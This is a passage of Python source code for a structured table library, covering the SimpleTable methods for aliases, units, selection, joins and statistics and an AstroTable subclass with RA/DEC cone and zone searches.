in\n parallel.\n\n Note that, despite parallelism, Dask.dataframe may not always be faster\n than Pandas. We recommend that you stay with Pandas for as long as\n possible before switching to Dask.dataframe.\n\n Parameters\n ----------\n keys: sequence, optional\n ordered subset of columns to export\n npartitions : int, optional\n The number of partitions of the index to create. Note that depending on\n the size and index of the dataframe, the output may have fewer\n partitions than requested.\n chunksize : int, optional\n The size of the partitions of the index.\n sort: bool\n Sort input first to obtain cleanly divided partitions or don't sort and\n don't get cleanly divided partitions\n name: string, optional\n An optional keyname for the dataframe. Defaults to hashing the input\n\n Returns\n -------\n dask.DataFrame or dask.Series\n A dask DataFrame/Series partitioned along the index\n \"\"\"\n try:\n from dask import dataframe\n keys = kwargs.pop('keys', None)\n return dataframe.from_pandas(self.to_pandas(keys=keys), **kwargs)\n except ImportError as error:\n print(\"Dask import error\")\n raise error\n\n def to_astropy_table(self, **kwargs):\n \"\"\"\n A class to represent tables of heterogeneous data.\n\n `astropy.table.Table` provides a class for heterogeneous tabular data,\n making use of a `numpy` structured array internally to store the data\n values. A key enhancement provided by the `Table` class is the ability\n to easily modify the structure of the table by adding or removing\n columns, or adding new rows of data. In addition table and column\n metadata are fully supported.\n\n Parameters\n ----------\n masked : bool, optional\n Specify whether the table is masked.\n names : list, optional\n Specify column names\n dtype : list, optional\n Specify column data types\n meta : dict, optional\n Metadata associated with the table.\n copy : bool, optional\n Copy the input data (default=True).\n rows : numpy ndarray, list of lists, optional\n Row-oriented data for table instead of ``data`` argument\n copy_indices : bool, optional\n Copy any indices in the input data (default=True)\n **kwargs : dict, optional\n Additional keyword args when converting table-like object\n\n Returns\n -------\n df: astropy.table.Table\n dataframe\n \"\"\"\n try:\n from astropy.table import Table\n keys = kwargs.pop('keys', None)\n return Table(self.to_records(keys=keys), **kwargs)\n except ImportError as e:\n print(\"Astropy import error\")\n raise e\n\n def _repr_html_(self):\n return self.to_pandas().head()._repr_html_()\n\n def set_alias(self, alias, colname):\n \"\"\"\n Define an alias to a column\n\n Parameters\n ----------\n alias: str\n The new alias of the column\n\n colname: str\n The column being aliased\n \"\"\"\n if (colname not in self.keys()):\n raise KeyError(\"Column {0:s} does not exist\".format(colname))\n self._aliases[alias] = colname\n\n def reverse_alias(self, colname):\n \"\"\"\n Return aliases of a given column.\n\n Given a colname, return a sequence of aliases associated to this column\n Aliases are defined by using .define_alias()\n \"\"\"\n _colname = self.resolve_alias(colname)\n if (_colname not in self.keys()):\n raise KeyError(\"Column {0:s} does not exist\".format(colname))\n\n return tuple([ k for (k, v) in self._aliases.iteritems() if (v == _colname) ])\n\n def resolve_alias(self, colname):\n \"\"\"\n Return the name of an aliased column.\n\n Given an alias, return the column name it aliases. This\n function is a no-op if the alias is a column name itself.\n\n Aliases are defined by using .define_alias()\n \"\"\"\n # User aliases\n if hasattr(colname, '__iter__') & (type(colname) not in basestring):\n return [ self.resolve_alias(k) for k in colname ]\n else:\n if self.caseless is True:\n maps = dict( [ (k.lower(), v) for k, v in self._aliases.items() ] )\n maps.update( (k.lower(), k) for k in self.keys() )\n return maps.get(colname.lower(), colname)\n else:\n return self._aliases.get(colname, colname)\n\n def set_unit(self, colname, unit):\n \"\"\" Set the unit of a column referenced by its name\n\n Parameters\n ----------\n colname: str\n column name or registered alias\n\n unit: str\n unit description\n \"\"\"\n if isinstance(unit, basestring) and isinstance(colname, basestring):\n self._units[self.resolve_alias(colname)] = str(unit)\n else:\n for k, v in zip(colname, unit):\n self._units[self.resolve_alias(k)] = str(v)\n\n def set_comment(self, colname, comment):\n \"\"\" Set the comment of a column referenced by its name\n\n Parameters\n ----------\n colname: str\n column name or registered alias\n\n comment: str\n column description\n \"\"\"\n if isinstance(comment, basestring) and isinstance(colname, basestring):\n self._desc[self.resolve_alias(colname)] = str(comment)\n else:\n for k, v in zip(colname, comment):\n self._desc[self.resolve_alias(k)] = str(v)\n\n def keys(self, regexp=None, full_match=False):\n \"\"\"\n Return the data column names or a subset of it\n\n Parameters\n ----------\n regexp: str\n pattern to filter the keys with\n\n full_match: bool\n if set, use :func:`re.fullmatch` instead of :func:`re.match`\n\n Try to apply the pattern at the start of the string, returning\n a match object, or None if no match was found.\n\n returns\n -------\n seq: sequence\n sequence of keys\n \"\"\"\n if (regexp is None) or (regexp == '*'):\n return self.colnames\n elif type(regexp) in basestring:\n if full_match is True:\n fn = re.fullmatch\n else:\n fn = re.match\n\n if regexp.count(',') > 0:\n _re = regexp.split(',')\n elif regexp.count(' ') > 0:\n _re = regexp.split()\n else:\n _re = [regexp]\n\n lbls = self.colnames + tuple(self._aliases.keys())\n _keys = []\n for _rk in _re:\n _keys += [k for k in lbls if (fn(_rk, k) is not None)]\n\n return _keys\n elif hasattr(regexp, '__iter__'):\n _keys = []\n for k in regexp:\n _keys += self.keys(k)\n return _keys\n else:\n raise ValueError('Unexpected type {0} for regexp'.format(type(regexp)))\n\n @property\n def name(self):\n \"\"\" name of the table given by the Header['NAME'] attribute \"\"\"\n return self.header.get('NAME', None)\n\n @property\n def colnames(self):\n \"\"\" Sequence of column names \"\"\"\n return self.data.dtype.names\n\n @property\n def ncols(self):\n \"\"\" number of columns \"\"\"\n return len(self.colnames)\n\n @property\n def nrows(self):\n \"\"\" number of lines \"\"\"\n return len(self.data)\n\n @property\n def nbytes(self):\n \"\"\" number of bytes of the object \"\"\"\n n = sum(k.nbytes if hasattr(k, 'nbytes') else sys.getsizeof(k)\n for k in self.__dict__.values())\n return n\n\n def __len__(self):\n \"\"\" number of lines \"\"\"\n return self.nrows\n\n @property\n def shape(self):\n \"\"\" shape of the data \"\"\"\n return self.data.shape\n\n @property\n def dtype(self):\n \"\"\" dtype of the data \"\"\"\n return self.data.dtype\n\n @property\n def Plotter(self):\n \"\"\" Plotter instance related to this dataset.\n Requires plotter add-on to work \"\"\"\n if Plotter is None:\n raise AttributeError('the add-on was not found, this property is not available')\n else:\n return Plotter(self, label=self.name)\n\n def __getitem__(self, v):\n return np.asarray(self.data.__getitem__(self.resolve_alias(v)))\n\n def take(self, indices, axis=None, out=None, mode='raise'):\n \"\"\"\n Take elements from an array along an axis.\n\n This function does the same thing as \"fancy\" indexing (indexing arrays\n using arrays); however, it can be easier to use if you need elements\n along a given axis.\n\n Parameters\n ----------\n indices : array_like\n The indices of the values to extract.\n Also allow scalars for indices.\n\n axis : int, optional\n The axis over which to select values. By default, the flattened\n input array is used.\n\n out : ndarray, optional\n If provided, the result will be placed in this array. It should\n be of the appropriate shape and dtype.\n\n mode : {'raise', 'wrap', 'clip'}, optional\n Specifies how out-of-bounds indices will behave.\n\n * 'raise' -- raise an error (default)\n * 'wrap' -- wrap around\n * 'clip' -- clip to the range\n\n 'clip' mode means that all indices that are too large are replaced\n by the index that addresses the last element along that axis. Note\n that this disables indexing with negative numbers.\n\n Returns\n -------\n subarray : ndarray\n The returned array has the same type as `a`.\n \"\"\"\n return self.data.take(indices, axis, out, mode)\n\n def compress(self, condition, axis=None, out=None):\n \"\"\"\n Return selected slices of an array along given axis.\n\n When working along a given axis, a slice along that axis is returned in\n `output` for each index where `condition` evaluates to True. When\n working on a 1-D array, `compress` is equivalent to `extract`.\n\n Parameters\n ----------\n condition : 1-D array of bools\n Array that selects which entries to return. If len(condition)\n is less than the size of `a` along the given axis, then output is\n truncated to the length of the condition array.\n\n axis : int, optional\n Axis along which to take slices. If None (default), work on the\n flattened array.\n\n out : ndarray, optional\n Output array. Its type is preserved and it must be of the right\n shape to hold the output.\n\n Returns\n -------\n compressed_array : ndarray\n A copy of `a` without the slices along axis for which `condition`\n is false.\n \"\"\"\n return self.data.compress(condition, axis, out)\n\n def get(self, v, full_match=False):\n \"\"\" returns a table from columns given as v\n\n this function is equivalent to :func:`__getitem__` but preserve the\n Table format and associated properties (units, description, header)\n\n Parameters\n ----------\n v: str\n pattern to filter the keys with\n\n full_match: bool\n if set, use :func:`re.fullmatch` instead of :func:`re.match`\n\n \"\"\"\n new_keys = self.keys(v)\n t = self.__class__(self[new_keys])\n t.header.update(**self.header)\n t._aliases.update((k, v) for (k, v) in self._aliases.items() if v in new_keys)\n t._units.update((k, v) for (k, v) in self._units.items() if v in new_keys)\n t._desc.update((k, v) for (k, v) in self._desc.items() if v in new_keys)\n return t\n\n def __setitem__(self, k, v):\n if k in self:\n return self.data.__setitem__(self.resolve_alias(k), v)\n else:\n object.__setitem__(self, k, v)\n\n def __getattr__(self, k):\n try:\n return self.data.__getitem__(self.resolve_alias(k))\n except:\n return object.__getattribute__(self, k)\n\n def __iter__(self):\n newtab = self.select('*', [0])\n for d in self.data:\n newtab.data[0] = d\n yield newtab\n # return self.data.__iter__()\n\n def iterkeys(self):\n \"\"\" Iterator over the columns of the table \"\"\"\n for k in self.colnames:\n yield k\n\n def itervalues(self):\n \"\"\" Iterator over the lines of the table \"\"\"\n for l in self.data:\n yield l\n\n def items(self):\n \"\"\" Iterator on the (key, value) pairs \"\"\"\n for k in self.colnames:\n yield k, self[k]\n\n def info(self):\n \"\"\" prints information on the table \"\"\"\n s = \"\\nTable: {name:s}\\n nrows={s.nrows:d}, ncols={s.ncols:d}, mem={size:s}\"\n s = s.format(name=self.header.get('NAME', 'Noname'), s=self,\n size=pretty_size_print(self.nbytes))\n\n s += '\\n\\nHeader:\\n'\n vals = list(self.header.items())\n length = max(map(len, self.header.keys()))\n fmt = '\\t{{0:{0:d}s}} {{1}}\\n'.format(length)\n for k, v in vals:\n s += fmt.format(k, v)\n\n vals = [(k, self._units.get(k, ''), self._desc.get(k, ''))\n for k in self.colnames]\n lengths = [(len(k), len(self._units.get(k, '')), len(self._desc.get(k, '')))\n for k in self.colnames]\n lengths = list(map(max, (zip(*lengths))))\n\n s += '\\nColumns:\\n'\n\n fmt = '\\t{{0:{0:d}s}} {{1:{1:d}s}} {{2:{2:d}s}}\\n'.format(*(k + 1 for k in lengths))\n for k, u, c in vals:\n s += fmt.format(k, u, c)\n\n print(s)\n\n if len(self._aliases) > 0:\n print(\"\\nTable contains alias(es):\")\n for k, v in self._aliases.items():\n print('\\t{0:s} --> {1:s}'.format(k, v))\n\n def __repr__(self):\n s = object.__repr__(self)\n s += \"\\nTable: {name:s}\\n nrows={s.nrows:d}, ncols={s.ncols:d}, mem={size:s}\"\n return s.format(name=self.header.get('NAME', 'Noname'), s=self,\n size=pretty_size_print(self.nbytes))\n\n def __getslice__(self, i, j):\n return self.data.__getslice__(i, j)\n\n def __contains__(self, k):\n if hasattr(k, 'decode'):\n _k = k.decode('utf8')\n else:\n _k = k\n return (_k in self.colnames) or (_k in self._aliases)\n\n def __array__(self):\n return self.data\n\n def __call__(self, *args, **kwargs):\n if (len(args) > 0) or (len(kwargs) > 0):\n return self.evalexpr(*args, **kwargs)\n else:\n return self.info()\n\n def sort(self, keys, copy=False):\n \"\"\"\n Sort the table inplace according to one or more keys. This operates on\n the existing table (and does not return a new table).\n\n Parameters\n ----------\n\n keys: str or seq(str)\n The key(s) to order by\n\n copy: bool\n if set returns a sorted copy instead of working inplace\n \"\"\"\n if not hasattr(keys, '__iter__'):\n keys = [keys]\n\n if copy is False:\n self.data.sort(order=keys)\n else:\n t = self.__class__(self, copy=True)\n t.sort(keys, copy=False)\n return t\n\n def match(self, r2, key):\n \"\"\" Returns the indices at which the tables match\n matching uses 2 columns that are compared in values\n\n Parameters\n ----------\n r2: Table\n second table to use\n\n key: str\n fields used for comparison.\n\n Returns\n -------\n indexes: tuple\n tuple of both indices list where the two columns match.\n \"\"\"\n return np.where( np.equal.outer( self[key], r2[key] ) )\n\n def stack(self, r, *args, **kwargs):\n \"\"\"\n Superposes arrays fields by fields inplace\n\n t.stack(t1, t2, t3, default=None, inplace=True)\n\n Parameters\n ----------\n r: Table\n \"\"\"\n if not hasattr(r, 'data'):\n raise AttributeError('r should be a Table object')\n defaults = kwargs.get('defaults', None)\n inplace = kwargs.get('inplace', False)\n\n data = [self.data, r.data] + [k.data for k in args]\n sdata = recfunctions.stack_arrays(data, defaults, usemask=False,\n asrecarray=True)\n\n if inplace:\n self.data = sdata\n else:\n t = self.__class__(self)\n t.data = sdata\n return t\n\n def join_by(self, r2, key, jointype='inner', r1postfix='1', r2postfix='2',\n defaults=None, asrecarray=False, asTable=True):\n \"\"\"\n Join arrays `r1` and `r2` on key `key`.\n\n The key should be either a string or a sequence of string corresponding\n to the fields used to join the array.\n An exception is raised if the `key` field cannot be found in the two input\n arrays.\n Neither `r1` nor `r2` should have any duplicates along `key`: the presence\n of duplicates will make the output quite unreliable. Note that duplicates\n are not looked for by the algorithm.\n\n Parameters\n ----------\n key: str or seq(str)\n corresponding to the fields used for comparison.\n\n r2: Table\n Table to join with\n\n jointype: str in {'inner', 'outer', 'leftouter'}\n * 'inner' : returns the elements common to both r1 and r2.\n * 'outer' : returns the common elements as well as the elements of r1 not in r2 and the elements of not in r2.\n * 'leftouter' : returns the common elements and the elements of r1 not in r2.\n\n r1postfix: str\n String appended to the names of the fields of r1 that are present in r2\n\n r2postfix: str\n String appended to the names of the fields of r2 that are present in r1\n\n defaults: dict\n Dictionary mapping field names to the corresponding default values.\n\n Returns\n -------\n tab: Table\n joined table\n\n .. note::\n\n * The output is sorted along the key.\n\n * A temporary array is formed by dropping the fields not in the key\n for the two arrays and concatenating the result. This array is\n then sorted, and the common entries selected. The output is\n constructed by filling the fields with the selected entries.\n Matching is not preserved if there are some duplicates...\n \"\"\"\n arr = recfunctions.join_by(key, self.data, r2.data, jointype=jointype,\n r1postfix=r1postfix, r2postfix=r2postfix,\n defaults=defaults, usemask=False,\n asrecarray=True)\n\n return SimpleTable(arr)\n\n @property\n def empty_row(self):\n \"\"\" Return an empty row array respecting the table format \"\"\"\n return np.rec.recarray(shape=(1,), dtype=self.data.dtype)\n\n def add_column(self, name, data, dtype=None, unit=None, description=None):\n \"\"\"\n Add one or multiple columns to the table\n\n Parameters\n ----------\n name: str or sequence(str)\n The name(s) of the column(s) to add\n\n data: ndarray, or sequence of ndarray\n The column data, or sequence of columns\n\n dtype: dtype\n numpy dtype for the data to add\n\n unit: str\n The unit of the values in the column\n\n description: str\n A description of the content of the column\n \"\"\"\n\n _data = np.array(data, dtype=dtype)\n dtype = _data.dtype\n\n # unknown type is converted to text\n if dtype.type == np.object_:\n if len(data) == 0:\n longest = 0\n else:\n longest = len(max(data, key=len))\n _data = np.asarray(data, dtype='|%iS' % longest)\n\n dtype = _data.dtype\n\n if len(self.data.dtype) > 0:\n # existing data in the table\n if type(name) in basestring:\n # _name = name.encode('utf8')\n _name = str(name)\n else:\n # _name = [k.encode('utf8') for k in name]\n _name = [str(k) for k in name]\n\n self.data = recfunctions.append_fields(self.data, _name, _data,\n dtypes=dtype, usemask=False,\n asrecarray=True)\n\n else:\n if _data.ndim > 1:\n newdtype = (str(name), _data.dtype, (_data.shape[1],))\n else:\n newdtype = (str(name), _data.dtype)\n self.data = np.array(_data, dtype=[newdtype])\n\n if unit is not None:\n self.set_unit(name, unit)\n\n if description is not None:\n self.set_comment(name, description)\n\n def append_row(self, iterable):\n \"\"\"\n Append one row in this table.\n\n see also: :func:`stack`\n\n Parameters\n ----------\n iterable: iterable\n line to add\n \"\"\"\n if (len(iterable) != self.ncols):\n raise AttributeError('Expecting as many items as columns')\n r = self.empty_row\n for k, v in enumerate(iterable):\n r[0][k] = v\n self.stack(r)\n\n def remove_columns(self, names):\n \"\"\"\n Remove several columns from the table\n\n Parameters\n ----------\n names: sequence\n A list containing the names of the columns to remove\n \"\"\"\n self.pop_columns(names)\n\n def pop_columns(self, names):\n \"\"\"\n Pop several columns from the table\n\n Parameters\n ----------\n\n names: sequence\n A list containing the names of the columns to remove\n\n Returns\n -------\n\n values: tuple\n list of columns\n \"\"\"\n\n if not hasattr(names, '__iter__') or type(names) in basestring:\n names = [names]\n\n p = [self[k] for k in names]\n\n _names = set([ self.resolve_alias(k) for k in names ])\n self.data = recfunctions.drop_fields(self.data, _names)\n for k in names:\n self._aliases.pop(k, None)\n self._units.pop(k, None)\n self._desc.pop(k, None)\n\n return p\n\n def find_duplicate(self, index_only=False, values_only=False):\n \"\"\"Find duplication in the table entries, return a list of duplicated\n elements Only works at this time is 2 lines are *the same entry* not if\n 2 lines have *the same values*\n \"\"\"\n dup = []\n idd = []\n for i in range(len(self.data)):\n if (self.data[i] in self.data[i + 1:]):\n if (self.data[i] not in dup):\n dup.append(self.data[i])\n idd.append(i)\n if index_only:\n return idd\n elif values_only:\n return dup\n else:\n return zip(idd, dup)\n\n def evalexpr(self, expr, exprvars=None, dtype=float):\n \"\"\" evaluate expression based on the data and external variables\n all np function can be used (log, exp, pi...)\n\n Parameters\n ----------\n expr: str\n expression to evaluate on the table\n includes mathematical operations and attribute names\n\n exprvars: dictionary, optional\n A dictionary that replaces the local operands in current frame.\n\n dtype: dtype definition\n dtype of the output array\n\n Returns\n -------\n out : NumPy array\n array of the result\n \"\"\"\n _globals = {}\n for k in ( list(self.colnames) + list(self._aliases.keys()) ):\n if k in expr:\n _globals[k] = self[k]\n\n if exprvars is not None:\n if (not (hasattr(exprvars, 'keys') & hasattr(exprvars, '__getitem__' ))):\n raise AttributeError(\"Expecting a dictionary-like as condvars\")\n for k, v in ( exprvars.items() ):\n _globals[k] = v\n\n # evaluate expression, to obtain the final filter\n r = np.empty( self.nrows, dtype=dtype)\n r[:] = eval(expr, _globals, np.__dict__)\n\n return r\n\n def where(self, condition, condvars=None, *args, **kwargs):\n \"\"\" Read table data fulfilling the given `condition`.\n Only the rows fulfilling the `condition` are included in the result.\n\n Parameters\n ----------\n condition: str\n expression to evaluate on the table\n includes mathematical operations and attribute names\n\n condvars: dictionary, optional\n A dictionary that replaces the local operands in current frame.\n\n Returns\n -------\n out: ndarray/ tuple of ndarrays\n result equivalent to :func:`np.where`\n\n \"\"\"\n ind = np.where(self.evalexpr(condition, condvars, dtype=bool ), *args, **kwargs)\n return ind\n\n def select(self, fields, indices=None, **kwargs):\n \"\"\"\n Select only a few fields in the table\n\n Parameters\n ----------\n fields: str or sequence\n fields to keep in the resulting table\n\n indices: sequence or slice\n extract only on these indices\n\n returns\n -------\n tab: SimpleTable instance\n resulting table\n \"\"\"\n _fields = self.keys(fields)\n\n if fields == '*':\n if indices is None:\n return self\n else:\n tab = self.__class__(self[indices])\n for k in self.__dict__.keys():\n if k not in ('data', ):\n setattr(tab, k, deepcopy(self.__dict__[k]))\n return tab\n else:\n d = {}\n for k in _fields:\n _k = self.resolve_alias(k)\n if indices is not None:\n d[k] = self[_k][indices]\n else:\n d[k] = self[_k]\n d['header'] = deepcopy(self.header)\n tab = self.__class__(d)\n for k in self.__dict__.keys():\n if k not in ('data', ):\n setattr(tab, k, deepcopy(self.__dict__[k]))\n return tab\n\n def selectWhere(self, fields, condition, condvars=None, **kwargs):\n \"\"\" Read table data fulfilling the given `condition`.\n Only the rows fulfilling the `condition` are included in the result.\n\n Parameters\n ----------\n fields: str or sequence\n fields to keep in the resulting table\n\n condition: str\n expression to evaluate on the table\n includes mathematical operations and attribute names\n\n condvars: dictionary, optional\n A dictionary that replaces the local operands in current frame.\n\n Returns\n -------\n tab: SimpleTable instance\n resulting table\n \"\"\"\n if condition in [True, 'True', None]:\n ind = None\n else:\n ind = self.where(condition, condvars, **kwargs)[0]\n\n tab = self.select(fields, indices=ind)\n\n return tab\n\n def groupby(self, *key):\n \"\"\"\n Create an iterator which returns (key, sub-table) grouped by each value\n of key(value)\n\n Parameters\n ----------\n key: str\n expression or pattern to filter the keys with\n\n Returns\n -------\n key: str or sequence\n group key\n\n tab: SimpleTable instance\n sub-table of the group\n header, aliases and column metadata are preserved (linked to the\n master table).\n \"\"\"\n _key = self.keys(key)\n getter = operator.itemgetter(*_key)\n\n for k, grp in itertools.groupby(self.data, getter):\n t = self.__class__(np.dstack(grp))\n t.header = self.header\n t._aliases = self._aliases\n t._units = self._units\n t._desc = self._desc\n yield (k, t)\n\n def stats(self, fn=None, fields=None, fill=None):\n \"\"\" Make statistics on columns of a table\n\n Parameters\n ----------\n fn: callable or sequence of callables\n functions to apply to each column\n default: (np.mean, np.std, np.nanmin, np.nanmax)\n\n fields: str or sequence\n any key or key expression to subselect columns\n default is all columns\n\n fill: value\n value when not applicable\n default np.nan\n\n returns\n -------\n tab: Table instance\n collection of statistics, one column per function in fn and 1 ligne\n per column in the table\n \"\"\"\n from collections import OrderedDict\n\n if fn is None:\n fn = (stats.mean, stats.std,\n stats.min, stats.max,\n stats.has_nan)\n\n d = OrderedDict()\n d.setdefault('FIELD', [])\n for k in fn:\n d.setdefault(k.__name__, [])\n\n if fields is None:\n fields = self.colnames\n else:\n fields = self.keys(fields)\n\n if fill is None:\n fill = np.nan\n\n for k in fields:\n d['FIELD'].append(k)\n for fnk in fn:\n try:\n val = fnk(self[k])\n except:\n val = fill\n d[fnk.__name__].append(val)\n\n return self.__class__(d, dtype=dict)\n\n # method aliases\n remove_column = remove_columns\n\n # deprecated methods\n addCol = add_column\n addLine = append_row\n setComment = set_comment\n setUnit = set_unit\n delCol = remove_columns\n\n\nclass AstroTable(SimpleTable):\n \"\"\"\n Derived from the Table, this class add implementations of common astro\n tools especially conesearch\n \"\"\"\n def __init__(self, *args, **kwargs):\n super(self.__class__, self).__init__(*args, **kwargs)\n self._ra_name, self._dec_name = self.__autoRADEC__()\n if (len(args) > 0):\n if isinstance(args[0], AstroTable):\n self._ra_name = args[0]._ra_name\n self._dec_name = args[0]._dec_name\n self._ra_name = kwargs.get('ra_name', self._ra_name)\n self._dec_name = kwargs.get('dec_name', self._dec_name)\n\n def __autoRADEC__(self):\n \"\"\" Tries to identify the columns containing RA and DEC coordinates \"\"\"\n if 'ra' in self:\n ra_name = 'ra'\n elif 'RA' in self:\n ra_name = 'RA'\n else:\n ra_name = None\n if 'dec' in self:\n dec_name = 'dec'\n elif 'DEC' in self:\n dec_name = 'DEC'\n else:\n dec_name = None\n return ra_name, dec_name\n\n def set_RA(self, val):\n \"\"\" Set the column that defines RA coordinates \"\"\"\n assert(val in self), 'column name {} not found in the table'.format(val)\n self._ra_name = val\n\n def set_DEC(self, val):\n \"\"\" Set the column that defines DEC coordinates \"\"\"\n assert(val in self), 'column name {} not found in the table'.format(val)\n self._dec_name = val\n\n def get_RA(self, degree=True):\n \"\"\" Returns RA, converted from hexa/sexa into degrees \"\"\"\n if self._ra_name is None:\n return None\n if (not degree) or (self.dtype[self._ra_name].kind != 'S'):\n return self[self._ra_name]\n else:\n if (len(str(self[0][self._ra_name]).split(':')) == 3):\n return np.asarray(AstroHelpers.hms2deg(self[self._ra_name],\n delim=':'))\n elif (len(str(self[0][self._ra_name]).split(' ')) == 3):\n return np.asarray(AstroHelpers.hms2deg(self[self._ra_name],\n delim=' '))\n else:\n raise Exception('RA Format not understood')\n\n def get_DEC(self, degree=True):\n \"\"\" Returns RA, converted from hexa/sexa into degrees \"\"\"\n if self._dec_name is None:\n return None\n if (not degree) or (self.dtype[self._dec_name].kind != 'S'):\n return self[self._dec_name]\n else:\n if (len(str(self[0][self._dec_name]).split(':')) == 3):\n return np.asarray(AstroHelpers.dms2deg(self[self._dec_name],\n delim=':'))\n elif (len(str(self[0][self._dec_name]).split(' ')) == 3):\n return np.asarray(AstroHelpers.dms2deg(self[self._dec_name],\n delim=' '))\n else:\n raise Exception('RA Format not understood')\n\n def info(self):\n s = \"\\nTable: {name:s}\\n nrows={s.nrows:d}, ncols={s.ncols:d}, mem={size:s}\"\n s = s.format(name=self.header.get('NAME', 'Noname'), s=self,\n size=pretty_size_print(self.nbytes))\n\n s += '\\n\\nHeader:\\n'\n vals = list(self.header.items())\n length = max(map(len, self.header.keys()))\n fmt = '\\t{{0:{0:d}s}} {{1}}\\n'.format(length)\n for k, v in vals:\n s += fmt.format(k, v)\n\n vals = [(k, self._units.get(k, ''), self._desc.get(k, ''))\n for k in self.colnames]\n lengths = [(len(k), len(self._units.get(k, '')), len(self._desc.get(k, '')))\n for k in self.colnames]\n lengths = list(map(max, (zip(*lengths))))\n\n if (self._ra_name is not None) & (self._dec_name is not None):\n s += \"\\nPosition coordinate columns: {0}, {1}\\n\".format(self._ra_name,\n self._dec_name)\n\n s += '\\nColumns:\\n'\n\n fmt = '\\t{{0:{0:d}s}} {{1:{1:d}s}} {{2:{2:d}s}}\\n'.format(*(k + 1 for k in lengths))\n for k, u, c in vals:\n s += fmt.format(k, u, c)\n\n print(s)\n\n if len(self._aliases) > 0:\n print(\"\\nTable contains alias(es):\")\n for k, v in self._aliases.items():\n print('\\t{0:s} --> {1:s}'.format(k, v))\n\n def coneSearch(self, ra, dec, r, outtype=0):\n \"\"\" Perform a cone search on a table\n\n Parameters\n ----------\n ra0: ndarray[ndim=1, dtype=float]\n column name to use as RA source in degrees\n\n dec0: ndarray[ndim=1, dtype=float]\n column name to use as DEC source in degrees\n\n ra: float\n ra to look for (in degree)\n\n dec: float\n ra to look for (in degree)\n\n r: float\n distance in degrees\n\n outtype: int\n type of outputs\n 0 -- minimal, indices of matching coordinates\n 1 -- indices and distances of matching coordinates\n 2 -- full, boolean filter and distances\n\n Returns\n -------\n t: tuple\n if outtype is 0:\n only return indices from ra0, dec0\n elif outtype is 1:\n return indices from ra0, dec0 and distances\n elif outtype is 2:\n return conditional vector and distance to all ra0, dec0\n \"\"\"\n if (self._ra_name is None) or (self._dec_name is None):\n raise AttributeError('Coordinate columns not set.')\n\n ra0 = self.get_RA()\n dec0 = self.get_DEC()\n return AstroHelpers.conesearch(ra0, dec0, ra, dec, r, outtype=outtype)\n\n def zoneSearch(self, ramin, ramax, decmin, decmax, outtype=0):\n \"\"\" Perform a zone search on a table, i.e., a rectangular selection\n\n Parameters\n ----------\n ramin: float\n minimal value of RA\n\n ramax: float\n maximal value of RA\n\n decmin: float\n minimal value of DEC\n\n decmax: float\n maximal value of DEC\n\n outtype: int\n type of outputs\n 0 or 1 -- minimal, indices of matching coordinates\n 2 -- full, boolean filter and distances\n\n Returns\n -------\n r: sequence\n indices or conditional sequence of matching values\n \"\"\"\n\n assert( (self._ra_name is not None) & (self._dec_name is not None) ), 'Coordinate columns not set.'\n\n ra0 = self.get_RA()\n dec0 = self.get_DEC()\n ind = (ra0 >= ramin) & (ra0 <= ramax) & (dec0 >= decmin) & (dec0 <= decmax)\n if outtype <= 2:\n return ind\n else:\n return np.where(ind)\n\n def where(self, condition=None, condvars=None, cone=None, zone=None, **kwargs):\n \"\"\" Read table data fulfilling the given `condition`.\n Only the rows fulfilling the `condition` are included in the result.\n\n Parameters\n ----------\n condition: str\n expression to evaluate on the table\n includes mathematical operations and attribute names\n\n condvars: dictionary, optional\n A dictionary that replaces the local operands in current frame.\n\n Returns\n -------\n out: ndarray/ tuple of ndarrays\n result equivalent to :func:`np.where`\n \"\"\"\n if cone is not None:\n if len(cone) != 3:\n raise ValueError('Expecting cone keywords as a triplet (ra, dec, r)')\n if zone is not None:\n if len(zone) != 4:\n raise ValueError('Expecting zone keywords as a tuple of 4 elements (ramin, ramax, decmin, decmax)')\n\n if condition is not None:\n ind = super(self.__class__, self).where(condition, **kwargs)\n if ind is None:\n if (cone is None) & (zone is None):\n return None\n else:\n ind = True\n\n blobs = []\n if (cone is not None) and (zone is not None): # cone + zone\n ra, dec, r = cone\n ind, d = self.coneSearch(ra, dec, r, outtype=2)\n ind = ind & self.zoneSearch(zone[0], zone[1], zone[2], zone[3], outtype=2)\n d = d[ind]\n blobs.append(d)\n elif (cone is not None):\n ra, dec, r = cone\n _ind, d = self.coneSearch(ra, dec, r, outtype=2)\n ind = ind & _ind.astype(bool)\n blobs.append(d[ind])\n elif (zone is not None):\n _ind = self.zoneSearch(zone[0], zone[1], zone[2], zone[3], outtype=1)\n ind = ind & _ind\n\n ind = np.where(ind)[0]\n\n return ind, blobs\n\n def selectWhere(self, fields, condition=None, condvars=None, cone=None, zone=None, **kwargs):\n \"\"\" Read table data fulfilling the given `condition`.\n Only the rows fulfilling the `condition` are included in the result.\n conesearch is also possible through the keyword cone formatted as (ra, dec, r)\n zonesearch is also possible through the keyword zone formatted as (ramin, ramax, decmin, decmax)\n\n Combination of multiple selections is also available.\n \"\"\"\n ind, blobs = self.where(condition, condvars, cone, zone, **kwargs)\n tab = self.select(fields, indices=ind)\n\n if cone is not None:\n tab.add_column('separation', np.squeeze(blobs), unit='degree')\n\n if self._ra_name in tab:\n tab.set_RA(self._ra_name)\n\n if self._dec_name in tab:\n tab.set_DEC(self._dec_name)\n\n return tab\n\n\nclass stats(object):\n @classmethod\n def has_nan(s, v):\n return (True in np.isnan(v))\n\n @classmethod\n def mean(s, v):\n return np.nanmean(v)\n\n @classmethod\n def max(s, v):\n return np.nanmax(v)\n\n @classmethod\n def min(s, v):\n return np.nanmin(v)\n\n @classmethod\n def std(s, v):\n return np.nanstd(v)\n\n @classmethod\n def var(s, v):\n return np.var(v)\n\n @classmethod\n def p16(s, v):\n try:\n return np.nanpercentile(v, 16)\n except AttributeError:\n return np.percentile(v, 16)\n\n @classmethod\n def p84(s, v):\n try:\n return np.nanpercentile(v, 84)\n except AttributeError:\n return np.percentile(v, 84)\n\n @classmethod\n def p50(s, v):\n try:\n return np.nanmedian(v)\n except AttributeError:\n return np.percentile(v, 50)\n\n\n'''\n# =============================================================================\n# Adding some plotting functions\n# =============================================================================\n\ntry:\n import pylab as plt\n\n def plot_function(tab, fn, *args, **kwargs):\n \"\"\" Generate a plotting method of tab from a given function\n\n Parameters\n ----------\n tab: SimpleTable instance\n table instance\n\n fn: str or callable\n if str, will try a function in matplotlib\n if callable, calls the function directly\n\n xname: str\n expecting a column name from the table\n\n yname: str, optional\n if provided, another column to use for the plot\n\n onlywhere: sequence or str, optional\n if provided, selects only data with this condition\n the condition can be a ndarray slice or a string.\n When a string is given, the evaluation calls :func:`SimpleTable.where`\n\n ax: 